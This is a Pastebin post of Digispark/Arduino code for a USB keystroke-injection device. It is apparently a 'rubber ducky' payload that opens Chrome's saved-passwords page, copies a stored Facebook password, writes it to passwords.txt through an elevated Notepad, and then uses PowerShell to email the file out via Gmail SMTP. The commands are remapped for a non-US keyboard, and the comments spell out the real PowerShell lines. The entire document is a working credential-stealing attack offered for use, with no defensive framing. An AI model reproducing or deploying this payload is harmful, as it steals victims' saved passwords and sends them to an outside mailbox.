Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <avr/pgmspace.h>
- #include "DigiKeyboard.h"
- const char line1[] PROGMEM = "chrome";
- const char line2[] PROGMEM = "chrome>&&settings&passwords";
- const char line3[] PROGMEM = "facebook";
- const char line4[] PROGMEM = "powershell start/process notepad.exe /Verb runAs";
- const char line5[] PROGMEM = "s";
- const char line6[] PROGMEM = "passwords.txt";
- const char line7[] PROGMEM = "c";
- const char line9[] PROGMEM = "powershell";
- const char line10[] PROGMEM = "$SMTPServer ) -smtp.gmail.com-";
- const char line11[] PROGMEM = "$SMTPInfo ) New/Object Net.Mail.SmtpClient*$SmtpServer, 587(";
- const char line12[] PROGMEM = "$SMTPInfo.EnableSsl ) $true";
- const char line13[] PROGMEM = "$SMTPInfo.Credentials ) New/Object System.Net.NetworkCredential*-email";
- const char line14[] PROGMEM = "gmail.com-, -password-(<";
- const char line15[] PROGMEM = "$ReportEmail ) New/Object System.Net.Mail.MailMessage";
- const char line16[] PROGMEM = "$ReportEmail.From ) -email";
- const char line17[] PROGMEM = "gmail.com-";
- const char line18[] PROGMEM = "$ReportEmail.To.Add*-email";
- const char line19[] PROGMEM = "gmail.com-(";
- const char line20[] PROGMEM = "$ReportEmail.Subject ) -Ducky chrome passwords-";
- const char line21[] PROGMEM = "$ReportEmail.Body ) -Attached is your list of passwords.-";
- const char line22[] PROGMEM = "$ReportEmail.Attachments.Add*-C>";
- const char line23[] PROGMEM = "passwords.txt-(";
- const char line24[] PROGMEM = "$SMTPInfo.Send*$ReportEmail(";
- const char line25[] PROGMEM = "exit";
- char buffer[256];
- #define GetPsz(x) (strncpy_P(buffer, (char*)x, 256))
- #define KEY_UP_ARROW 0x52
- #define KEY_DOWN_ARROW 0x51
- #define KEY_LEFT_ARROW 0x50
- #define KEY_RIGHT_ARROW 0x4F
- #define KEY_LEFT_GUI 0xE3
- #define KEY_ESC 0x29
- #define KEY_TAB 0x2B
- #define KEY_AT 0x33
- void digiBegin() {
- DigiKeyboard.sendKeyStroke(0,0);
- DigiKeyboard.delay(50);
- }
- void digiEnd() {
- const int led=1;
- pinMode(led, OUTPUT);
- while (1) {
- digitalWrite(led, !digitalRead(led));
- DigiKeyboard.delay(1000);
- }
- }
- void printText(char *txt) {
- DigiKeyboard.print(txt);
- DigiKeyboard.update();
- }
- void setup() {
- digiBegin();
- DigiKeyboard.delay(2000);
- // -------------open chrome
- DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
- DigiKeyboard.delay(1000);
- // chrome
- printText(GetPsz(line1));
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(5500);
- // -------------copy plaintext password
- // chrome://settings/passwords
- printText(GetPsz(line2));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(3000);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- // facebook
- printText(GetPsz(line3));
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_C,MOD_CONTROL_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
- DigiKeyboard.delay(500);
- // -------------save file to music folder as passwords.txt
- DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- // powershell start-process notepad.exe -Verb runAs
- printText(GetPsz(line4));
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(2000);
- DigiKeyboard.sendKeyStroke(KEY_Y,MOD_ALT_LEFT);
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_V,MOD_CONTROL_LEFT);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_F,MOD_ALT_LEFT);
- DigiKeyboard.delay(500);
- // s
- printText(GetPsz(line5));
- DigiKeyboard.delay(500);
- // passwords.txt
- printText(GetPsz(line6));
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- DigiKeyboard.sendKeyStroke(KEY_TAB);
- // c
- printText(GetPsz(line7));
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(500);
- DigiKeyboard.sendKeyStroke(KEY_S,MOD_ALT_LEFT);
- DigiKeyboard.delay(1000);
- DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
- DigiKeyboard.delay(500);
- // -------------email log via gmail
- DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
- DigiKeyboard.delay(500);
- // powershell
- printText(GetPsz(line9));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(1000);
- // $SMTPServer = 'smtp.gmail.com'
- printText(GetPsz(line10));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- printText(GetPsz(line11));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.EnableSsl = $true
- printText(GetPsz(line12));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youremail@gmail.com', 'password');
- printText(GetPsz(line13));
- DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
- printText(GetPsz(line14));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail = New-Object System.Net.Mail.MailMessage
- printText(GetPsz(line15));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.From = 'youremail@gmail.com'
- printText(GetPsz(line16));
- DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
- printText(GetPsz(line17));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.To.Add('toemail@gmail.com')
- printText(GetPsz(line18));
- DigiKeyboard.sendKeyStroke(KEY_AT, MOD_ALT_RIGHT);
- printText(GetPsz(line19));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Subject = 'Ducky chrome passwords'
- printText(GetPsz(line20));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Body = 'Attached is your list of passwords.'
- printText(GetPsz(line21));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $ReportEmail.Attachments.Add('c:\\passwords.txt')
- printText(GetPsz(line22));
- DigiKeyboard.print((char)38);
- DigiKeyboard.print((char)38);
- printText(GetPsz(line23));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- // $SMTPInfo.Send($ReportEmail)
- printText(GetPsz(line24));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.delay(10000);
- // exit
- printText(GetPsz(line25));
- DigiKeyboard.sendKeyStroke(KEY_ENTER);
- DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
- digiEnd();
- }
- /* Unused endless loop */
- void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement